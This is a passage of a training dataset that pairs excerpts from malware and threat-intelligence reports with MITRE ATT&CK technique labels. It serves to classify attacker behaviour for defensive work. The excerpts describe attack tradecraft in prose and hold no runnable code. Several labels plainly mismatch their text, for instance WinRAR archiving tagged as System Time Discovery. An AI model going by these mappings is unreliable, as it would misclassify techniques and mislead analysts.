It then calls the API EnumWindows() function to enumerate all windows from the victim’s system. Its EnumFunc() callback function collects all windows titles and then adds a 14H long random string prefix. One mixed windows title looks like this: “{14H long random string}+windows title”. All the mixed windows titles are added into a string list box control,['T1010 - Application Window Discovery'],fine_tune
"As my analysis in the previous blog showed, Agent Tesla is a spyware. It monitors and collects the victim’s keyboard inputs, system clipboard, screen shots of the victim’s screen, as well as collects credentials of a variety of installed software. So far, through my quick analysis, this version is similar to the older one",['T1082 - System Information Discovery'],fine_tune
We’ve seen the adversary staging data on a remote system or on the local system. Most of the times the data is compressed and copied at the same time. Only a handful of times the adversary copies the data first before compressing (archive collected data) and exfiltrating it. The adversary compresses and encrypts the data by using WinRAR from the command-line,['T1124 - System Time Discovery'],fine_tune
A macro in the Microsoft Word document contained the malicious code designed to download and execute additional malicious software on the infected system,"['T1566.001 - Phishing: Spearphishing Attachment', 'T1566.001 - Phishing: Spearphishing Attachment']",fine_tune
"PACT has reverse engineered the DGA, dynamically analyzed the malware, investigated the Threat Actor’s (TA) web-based infrastructure, and consolidated the results of our analysis into the following report",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"From September to December 2018 the RTM group sent out more than 11,000 malicious emails. The cybercriminals, however, are not going to stop there, as evidenced by the new malicious campaigns that we track as part of our ongoing threat intelligence activities. Where do we begin our search. Let's start with simple things: we will take the NTUSER.DAT registry file with the latest modification date from the user directory (C:\Users\%username%\), and extract data from it using RegRipper. In general, you do not have to stick to the Sleuth Kit at all; there are more convenient tools like FTK Imager, a free tool, which can be used not only to create forensic images, but also to examine their contents. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Judging by the file's size, it has nothing to do with the original msi.dll, so it is clearly DLL Search Order Hijacking. The operating system starts searching for the necessary libraries from the current directory, which means that instead of the legitimate msi.dll, the one located in b7mg81 will be loaded. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our ""TeamViewer"" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad. I think what we can use the Sleuth Kit again",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"The attackers orchestrate attacks using batch or PowerShell scripts that are executed, with the help of domain controllers, on any machine the DC can reach. The scripts retrieve the attackers’ payloads using psexec or certutil","['T1105 - Ingress Tool Transfer', 'T1569.002 - System Services: Service Execution', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
"Note that the browser itself is not hooked. Executing the browser from any other Chrome shortcut link will start and run it normally without the malicious extension, canceling out the malware’s ability to control what the victim does",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
The Epic backdoors are commanded by a huge network of hacked servers that deliver command and control functionality,['T1049 - System Network Connections Discovery'],fine_tune
"Capture current screen (screenshot) and save screenshot as a JPEG to ""C:\ProgramData\tsc"". The contents of the file are subsequently read and sent to the C2. Code to capture a screenshot as bitmap and save to file",['T1113 - Screen Capture'],fine_tune
"Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy backups to make data recovery more difficult. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Attackers have been making use of this exploit in the wild since at least April 17. Initial stages of the ransomware attack occurred on April 25, the day before Oracle released their update. The attackers are downloading the Sodinokibi ransomware. In this case, the attackers simply leveraged the Oracle WebLogic vulnerability, causing the affected server to download a copy of the ransomware from attacker-controlled IP addresses 188.166.74[.]218 and 45.55.211[.]79. The 188.166.74[.]218 IP address is also home to a pair of other malicious domains unrelated to this ransomware attack: arg0s-co[.]uk, which is likely a phishing domain, and projectstore[.]guru, a domain with bogus PDF-related Google search results. The other IP, 45.55.211[.]79, hosts a pair of legitimate Chilean domains, and appears to have been infected and repurposed by the attackers. The attackers were ultimately successful at encrypting a number of systems during this incident. Cisco IR Services and Talos observed the attack requests originating from 130.61.54[.]136",['T1105 - Ingress Tool Transfer'],fine_tune
Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The attackers dropped Visual Basic and PowerShell scripts in folders that they created under the ProgramData (a hidden folder, by default). The attackers created persistence using Windows’ registry, services and scheduled tasks. This persistence mechanism ensured that the loader scripts would execute either at startup or at predetermined intervals","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"ESET researchers have discovered several previously undocumented post-compromise tools used by the highly active Gamaredon threat group in various malicious campaigns. One tool, a VBA macro targeting Microsoft Outlook, uses the target’s email account to send spearphishing emails to contacts in the victim’s Microsoft Office address book. We also analyzed further Gamaredon tools that have the ability to inject malicious macros and remote templates into existing Office documents","['T1039 - Data from Network Shared Drive', 'T1204.002 - User Execution: Malicious File', 'T1534 - Internal Spearphishing', 'T1083 - File and Directory Discovery']",fine_tune
"We have identified several implants that leveraged PowerShell, VBS, JS, and dotnet for resilience and persistence. The final stage, however, is a dotnet application that takes several commands such as directory listing, screenshot, compress, upload, etc. It then creates random long string folder names in temp directories to host the collected files per category before compressing, encrypting and uploading to the C2 server",['T1083 - File and Directory Discovery'],fine_tune
"Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. BlackEnergy2 was eventually seen downloading more crimeware plugins – a custom spam plugin and a banking information stealer custom plugin. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called “Sandworm Team” also",['T1082 - System Information Discovery'],fine_tune
dellLemb||&gt; deletes the registry key \Software\Microsoft\Internet Explorer\notes. EXECPROGAM calls ShellExecute to run the application given in the command. NOVOLEMBRETE creates and stores data sent with the command in the registry key \Software\Microsoft\Internet Explorer\notes,['T1070 - Indicator Removal on Host'],fine_tune
Check for Skype connectivity - Download and install Skype - Encoded communication with its C2 - Execute commands sent from the C2 server - Get multifactor authentication settings - Get the currently logged on user and OS version,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"The fourth-stage wiper starts off by enumerating from A to Z, looking for fixed and remote logical drives in the system. Enumerates logical drives. For each enumeration, it performs a breadth-first search to wipe the files in the logical drive while ignoring files located in the ""%HOMEDRIVE%\Windows"" directory","['T1049 - System Network Connections Discovery', 'T1082 - System Information Discovery']",fine_tune
"1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant",['T1036.007 - Masquerading: Double File Extension'],fine_tune
"WMIC (wmic.exe) was used to create a remote command prompt instance (cmd.exe), which then executed the PowerShell code. The PowerShell command created two variables and attempted to download and execute the payload from one of FIN8’s Command and Control (C&amp;C) servers. This download was blocked by Bitdefender – below description is based on interpretation of variables discovered in our previous analysis of FIN8 operations","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1105 - Ingress Tool Transfer', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
"mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. This process runs as a high-integrity process by default, since its set to auto-elevate within its manifest",['T1134.002 - Create Process with Token'],fine_tune
"After downloading the executable payload, the secondary VBScript runs the following command on the command line (T1059) to kill any existing msiexec.exe process instances and use the ping application to sleep for two seconds before using the legitimate msiexec.exe application (T1218) to launch the downloaded PlayerVLC.msi file",['T1105 - Ingress Tool Transfer'],fine_tune
"In all stages of the attack, the actor demonstrated a deep knowledge of software tools, deployments, security software and systems common in networks, and techniques frequently used by incident response teams. This knowledge is reflected in the actor’s operational decisions, from the choice of command-and-control (C2) infrastructure to the naming of scheduled tasks used to maintain persistence",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Once elevated, the ransomware will write a copy of a random file from System32 to the %APPDATA% directory. The newly copied file will have a random and hidden filename. This process allows for the ransomware to copy itself into the file by way of an alternate data stream (ADS",['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
"The Trojan sends an email to sahro.bella7[at]post.cz with sysscr.ops as the attachment, the string SCreen within the body and a subject with the unique system identifier via SMTPS from one of three previously used accounts. If the actor wishes to download an additional payload to the compromised host, they will respond by sending emails in the following steps. 3) The actor sends an email to trala.cosh2[at]post.cz with the unique system identifier as a subject with a secondary email account and credentials in ASCII hexadecimal format within the message body. This secondary email account is unknown at this time, so we will refer to it as ""secondary email account"" in future steps. 4) The actor sends an email to the secondary email account with the unique system identifier as a subject with a secondary payload attached with a filename of txt. Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the secondary email account. 7) The actor sends an email to trala.cosh2[at]post.cz with the unique system identifier as a subject with a file path that the Cannon Trojan will use to save the secondary payload. 8) Cannon logs into the secondary email account via POP3S looking for emails with a subject that matches the unique system identifier. Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the file path that it will use to move the downloaded auddevc.txt file. 12) Cannon moves the downloaded file to the specified path",['T1105 - Ingress Tool Transfer'],fine_tune
"Another relationship we have mentioned repeatedly is the use of the SYSCON malware family. This particular malware family was first reported in October 2017 and has been observed delivering decoy documents pertaining to North Korea. The malware is generally unsophisticated, making use of remote FTP servers for C2 communication",['T1071.002 - File Transfer Protocols'],fine_tune
"It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
This backdoor adds the following registry entries to enable its automatic execution at every system startup,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"Cisco Talos has discovered a new malware campaign based on a previously unknown family we're calling ""PoetRAT. The droppers are Microsoft Word documents that deploy a Python-based remote access trojan (RAT). We named this malware PoetRAT due to the various references to William Shakespeare, an English poet and playwright. The RAT has all the standard features of this kind of malware, providing full control of the compromised system to the operation. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. The campaign shows us that the operators manually pushed additional tools when they needed them on the compromised systems. We will describe a couple of these tools. The most interesting is a tool used to monitor the hard disk and exfiltrate data automatically",['T1056.001 - Input Capture: Keylogging'],fine_tune
"The batch-files appear to be used to load the Cobalt Strike beacon, but also to perform discovery commands on the compromised system",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
The actor has distributed its dropper embedded in an archive file (외교부 가판 2021-05-07.zip) as an attachment through spearphishing emails. The archive file contains a JavaScript file (외교부 가판 2021-05-07.pdf.jse) which pretends to be a PDF file that contains two Base64 encoded blobs. The first one is the content of the decoy PDF file in Base64 format and the other one contains the AppleSeed payload also in Base64 format (encoded twice,"['T1204.002 - User Execution: Malicious File', 'T1027 - Obfuscated Files or Information']",fine_tune
The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. The type of data this implant gathers from the victim’s system,"['T1016 - System Network Configuration Discovery', 'T1012 - Query Registry']",fine_tune
Collected files under the preliminary collection directory will be compressed using a WinRAR instance that the Ramsay Installer drops. This compressed archive will be saved within the preliminary collection directory and then generate a Ramsay container artifact,"['T1083 - File and Directory Discovery', 'T1560.001 - Archive Collected Data: Archive via Utility']",fine_tune
"As discussed in the delivery document analysis above, depending on the OS architecture either of the embedded KerrDown DLLs will be dropped in the victim machine. The DLL is dropped in the directory location ‘Users\Administrator\AppData\Roaming\’ as ‘main_background.png’. The DLL retrieves the payload from the URL, decrypts it by using DES algorithm and execute it in the memory. Therefore, it is observed that only the KerrDown DLL downloader is saved in the system and the payload directly gets executed in the memory without being written in the system. Table 1 shows the URL the downloader will attempt to download the payload from depending on the OS architecture of the victim machine",['T1105 - Ingress Tool Transfer'],fine_tune
"To exploit the Log4j vulnerability (CVE-2021-44228), the attackers chose one of the publicly available open-source JNDI Exploit Kits, since removed from GitHub due to its enormous popularity following the vulnerability emergence. There are multiple analysis papers that explain how the vulnerability can be exploited, so we will skip the details of the actual exploitation step",['T1190 - Exploit Public-Facing Application'],fine_tune
List of installed antivirus products - OS version - Username - Computer name - Whether any of the following software is installed: Diebold Warsaw GAS Tecnologia (an application to protect access to online banking) Trusteer Several Latin American banking applications - Diebold Warsaw GAS Tecnologia (an application to protect access to online banking) - Trusteer - Several Latin American banking applications,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"All further information sent to the C&amp;C is encrypted with a public key framework, making decryption impossible. The commands from the C&amp;C are encrypted in a simpler manner and can be decrypted if intercepted because the secret key is hardcoded in the malware",['T1573.001 - Symmetric Cryptography'],fine_tune
"HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting","['T1082 - System Information Discovery', 'T1135 - Network Share Discovery']",fine_tune
"In our tests, running Valak from a U.S. location on a vulnerable Windows 10 host returned a banking Trojan called IcedID as the follow-up malware. In one case, we saw both IcedID and NetSupport Manager RAT-based malware delivered as follow-up malware on a Windows 7 host from June 2020",['T1105 - Ingress Tool Transfer'],fine_tune
"AIRBREAK: a JavaScript-based backdoor also reported as “Orz” that retrieves commands from hidden strings in compromised webpages and actor controlled profiles on legitimate services. BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session. MURKYTOP: a command-line reconnaissance tool","['T1018 - Remote System Discovery', 'T1135 - Network Share Discovery', 'T1046 - Network Service Discovery', 'T1087.001 - Account Discovery: Local Account']",fine_tune
"Use of obfuscated shellcode executed via PowerShell to download a ""reverse_tcp"" payload from Metasploit onto victim systems",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"At the time of writing, two VBS files have been seen pushed to the target computer by VBShower",['T1105 - Ingress Tool Transfer'],fine_tune
Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication. Table 4 shows the parameters sent to C2 server from the backdoor in the newer versions,['T1090.002 - External Proxy'],fine_tune
Filename: impku.dat:schemas File size: 608854 bytes MD5 hash: b774f39d31c32da0f6a5fb5d0e6d2892 SHA1 hash: ae3ff39c2a7266132e0af016a48b97d565463d90 Notes: Alternate data stream (ADS) PNG file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
"After the victim clicks the Enable Content button, the macro commands are executed and invoke the Windows OS process msiexec.exe. This process is the Windows Installer, a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. Aside from that, startup is performed by loading Cobalt Strike into the main memory without saving to the file system. Bypassing network security Cobalt Strike allows users to install two types of modules: HTTP/HTTPS/DNS modules and SMB modules. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. To prevent this threat, the company should configure filter rules to detect the above-mentioned tools on the corporate network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed",['T1046 - Network Service Discovery'],fine_tune
"Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called “Sandworm Team” also",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
All of the bait documents are MHTML ones with malicious macro embedded and the .doc suffix to bypass detection. Below is an example of bait document captured by 360 Threat Intelligence Center in February 2019,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
2) The additional commands and execution objects are executed in the machine that has been compromised in the isolated network,['T1204.002 - User Execution: Malicious File'],fine_tune
"Beacon: a backdoor that is commercially available as part of the Cobalt Strike software platform, commonly used for pen-testing network environments. The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal. Used by APT17 and other Chinese cyber espionage operators",['T1102.001 - Dead Drop Resolver'],fine_tune
Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript is then run via a scheduled task,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The initial infection vector of this campaign is a Microsoft Office Excel Worksheet with an Office macro that uses the mshta.exe Windows executable to run scripts, which are embedded in the HTML of a specially-crafted blogspot.com page. The page, 29[.]html, contains two distinct sections of scripts. The scripts create scheduled tasks and also retrieve, decode, and execute a copy of Revenge RAT",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"BRONZE UNION has also leveraged various web shells to collect and stage data for exfiltration. In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive","['T1560.002 - Archive Collected Data: Archive via Library', 'T1074.001 - Data Staged: Local Data Staging', 'T1049 - System Network Connections Discovery']",fine_tune
"The loaded DLL retrieves the path to the Warzone malicious file from HKCU\SOFTWARE\_rptls\Install, iterates through running processes and kills the Warzone process if it already exists. Then it runs the Warzone executable again, this time with Admin privileges",['T1055 - Process Injection'],fine_tune
"KillDisk has a numeric parameter that denotes the number of minutes (15 being the default) it will wait before it shuts down the affected machine. To try to reboot the machine, it will try to terminate these processes",['T1489 - Service Stop'],fine_tune
The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name. The attacker likely utilizes the DGA subdomain to vary the DNS response to victims as a means to control the targeting of the malware. These subdomains are concatenated with one of the following to create the hostname to resolve,['T1568 - Dynamic Resolution'],fine_tune
"Appendix A – PLAINTEE older variant Older variants of PLAINTEE can be identified via the unique mutex created during runtime. At least three variants of PLAINTEE have been identified to date, however, the following two samples have additional unique differences",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"The fourth spear phishing email of the campaign was sent on January 23, 2018 to a range of targets working for Tibetan NGOs, media groups, and the CTA. The message appeared to be sent from the Director of the Tibet Museum, which is an official museum of the CTA. Attached to the email were RTF and PPSX messages that claimed to present information about the National Museum of Tibet (see Figure 5). These files contained the CVE-2017-11882 and TSSL Suite infection chain",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1113 - Screen Capture']",fine_tune
"Finally, the script stores the encrypted payload in the Windows registry. Note that the attackers seem to use a different registry location per organization. Thus, it is not a useful indicator to detect similar intrusions",['T1112 - Modify Registry'],fine_tune
"HyperStack uses named pipes to execute remote procedure calls (RPC) from the controller to the device hosting the HyperStack client. To move laterally, the implant tries to connect to another remote device’s IPC$ share, either using a null session or default credentials. IPC$ is a share that facilitates inter-process communication (IPC) by exposing named pipes to write to or read from. If the implant’s connection to the IPC$ is successful, the implant can forward RPC commands from the controller to the remote device, and likely has the capability to copy itself onto the remote device","['T1559 - Inter-Process Communication', 'T1078.001 - Valid Accounts: Default Accounts']",fine_tune
"At the time of discovery TEARDROP was a novel concoction: never-before-seen, possibly even tailor-made for this attack. TEARDROP runs in-memory but it does register a Windows service, which involves editing the registry",['T1112 - Modify Registry'],fine_tune
"Hooking module – hooks a hardcoded set of WinAPI and (if they exist) Mozilla DLL Hooking is used to perform web injects, sniff traffic and keyboard data and even prevent DNS resolution of certain domains. Hooking works in the following way: QakBot injects a hooking module into the appropriate process, the module finds functions from the hardcoded set and modifies the functions so they jump to custom code",['T1055 - Process Injection'],fine_tune
"Curiously, the same private session key is also encrypted with another public key hardcoded into the body of the Trojan, regardless of the configuration. It turns out that someone who knows the private key corresponding to the public skeleton key is able to decrypt the victim’s files, even without the private key for sub_key. It seems like the Trojan developers built a loophole into the algorithm allowing them to decrypt files behind the distributors’ back",['T1486 - Data Encrypted for Impact'],fine_tune
"The APT group has used web hosting credentials—stolen from victims outside of their usual targets—to host their malicious scripts and tools. Kimsuky likely obtained the credentials from the victims via spearphishing and credential harvesting scripts. On the victim domains, they have created subdomains mimicking legitimate sites and services they are spoofing, such as Google or Yahoo mail. 14] - Kimsuky has also sent benign emails to targets, which were possibly intended to build trust in advance of a follow-on email with a malicious attachment or link. Posing as South Korean reporters, Kimsuky exchanged several benign interview-themed emails with their intended target to ostensibly arrange an interview date and possibly build rapport. The APT group invited the targets to a Skype interview on the topic of inter-Korean issues and denuclearization negotiations on the Korean Peninsula. Posing as South Korean reporters, Kimsuky exchanged several benign interview-themed emails with their intended target to ostensibly arrange an interview date and possibly build rapport. After a recipient agreed to an interview, Kimsuky sent a subsequent email with a malicious document, either as an attachment or as a Google Drive link within the body. The document usually contained a variant of BabyShark malware (see the Execution section for information on BabyShark). When the date of the interview drew near, Kimsuky sent an email canceling the interview. Kimsuky tailors its spearphishing and social engineering approaches to use topics relevant to the target, such as COVID-19, the North Korean nuclear program, or media interviews",['T1583.001 - Domains'],fine_tune
"In the newer attack flows we observed, we once again found valid Certum certificates were used to sign the Bandook malware executable",['T1553.002 - Code Signing'],fine_tune
"The latter does not use libcurl anymore and now uses winhttp to perform all requests to C2. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The C2 path pattern has also changed, we have identified the following paths: ini.php, info.php and parse_ini_file.php, which are no longer random nor animal named based",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"For the first time, the Bisonal developers decided to use a packer: MPRESS. The Bisonal string also disappears from the binary however the workflow of the malware stays the same and some features are copy/pasted from the previous Bisonal variant",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. Note: transfer of credentials can occur even if the file is not retrieved. After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication",['T1078 - Valid Accounts'],fine_tune
"The emails first originated from a spoofed sender that impersonated a Meetings Services Assistant at the United Nations General Assembly Secretariat. The threat actor achieved this impersonation by utilizing the legitimate email marketing service SMTP2Go, which allows users to alter the envelope sender field while using a unique sender address generated by the service",['T1585.002 - Email Accounts'],fine_tune
The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros. The attackers rely on a range of compromised hosts to deliver their attacks,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging",['T1105 - Ingress Tool Transfer'],fine_tune
The next program sent to victims enumerates all the drives on the infected system and executes the following command on them,['T1083 - File and Directory Discovery'],fine_tune
"Once explorer.exe is running, the service configures the environment and executes the C2 contact module: winprint32.exe. This module is responsible for launching the document search module, contact the C2 and exfiltrate the collected documents","['T1020 - Automated Exfiltration', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"To initially gain access to the environment, Managed Defense analysts identified that FIN6 compromised an internet facing system. Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows’ Remote Desktop Protocol (RDP","['T1003.001 - OS Credential Dumping: LSASS Memory', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1078 - Valid Accounts']",fine_tune
"Use of Open Source Tools In an attempt to avoid detection and as an anti-analysis tactic, the OilRig group abused an open source tool called Invoke-Obfuscation to obfuscate the code used for QUADAGENT. Invoke-Obfuscation is freely available via a Github repository and allows a user to change the visual representation of a PowerShell script simply by selecting the desired obfuscation techniques. Invoke-Obfuscation offers a variety of obfuscation techniques, and by analyzing the script we were able to ascertain the specific options in this attack. After identifying the specific options used to obfuscate QUADAGENT, we were able to deobfuscate the PowerShell script and perform additional analysis. We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script. Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex. 1}{0}"" -f 'bar','foo'). During our analysis, we installed Invoke-Obfuscation and used it to obfuscate a previously collected QUADAGENT sample to confirm our analysis. We captured the commands we ran in Invoke-Obfuscation in the animation in Figure 3 below, which visualizes the steps the threat actor may have taken to create the payload delivered in this attack",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. Afterward, the module will delete old ""sft"" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\&lt;USER&gt;~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp",['T1083 - File and Directory Discovery'],fine_tune
"Cookie Notice . This website uses cookies to help personalize and improve your experience. By Continuing to use this site, you are consenting to the use of cookies. Further research into the IP address hosting the spoofed page revealed a broader campaign to steal credentials. Countries with targeted universities. Source: Secureworks) . After entering their credentials into the fake login page, victims were redirected to the legitimate website where they were automatically logged into a valid session or were prompted to enter their credentials again. Numerous spoofed domains referenced the targeted universities' online library systems, indicating the threat actors' intent to gain access to these resources. CTU™ researchers were unable to confirm functionality of all identified spoofed pages because some of the domains were not accessible at the time of analysis. Domain registrations indicate the infrastructure to support this campaign was still being created when CTU researchers discovered the activity. A domain registered in May 2018 also contained subdomains spoofing university targets. These subdomains redirected visitors to spoofed login pages on other attacker-controlled domains",['T1583.001 - Domains'],fine_tune
T1566.001: Spearphishing Attachment - T1566.002: Spearphishing Link - T1566.003: Spearphishing via Service - - - T1204.001: Malicious Link - T1204.002: Malicious File - T1059: Command and Scripting Interpreter T1059.005: Visual Basic - T1059.005: Visual Basic - - T1053.005: Scheduled Task - T1129: Shared Modules - T1106: Native API - T1047: Windows Management Instrumentation - - T1027: Obfuscated Files or Information T1027.002: Software Packing - T1027.002: Software Packing - T1553: Subvert Trust Controls T1553.002: Code Signing - T1553.002: Code Signing - T1218: Signed Binary Proxy Execution T1218.010: Regsvr32 - T1218.010: Regsvr32 - - T1497.001: System Checks - T1497.002: User Activity Based Checks - T1497.003: Time Based Evasion - T1112: Modify Registry - T1070: Indicator Removal on Host T1070.004: File Deletion - T1070.004: File Deletion - T1140: De-obfuscate/Decode Files or Information - - - T1090.003: Multi-hop Proxy - T1105: Ingress Tool Transfer - - T1055: Process Injection T1055.012: Process Hollowing - T1055.012: Process Hollowing - - T1082: System Information Discovery - T1049: System Network Connections Discovery - T1016: System Network Configuration Discovery - T1057: Process Discovery - T1033: System Owner/User Discovery - T1518: Software Discovery T1518.001: Security Software Discovery - T1518.001: Security Software Discovery - Persistence T1546: Event Triggered Execution T1547: Boot or Logon Autostart Execution T1547.001: Registry Run Keys / Startup Folder - T1546: Event Triggered Execution - T1547: Boot or Logon Autostart Execution T1547.001: Registry Run Keys / Startup Folder - T1547.001: Registry Run Keys / Startup Folder,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"After the execution of rundll32.exe, the PowerShell script enu.ps1 is executed. This script is encoded with Base64 in order to avoid detection by antivirus products",['T1027 - Obfuscated Files or Information'],fine_tune
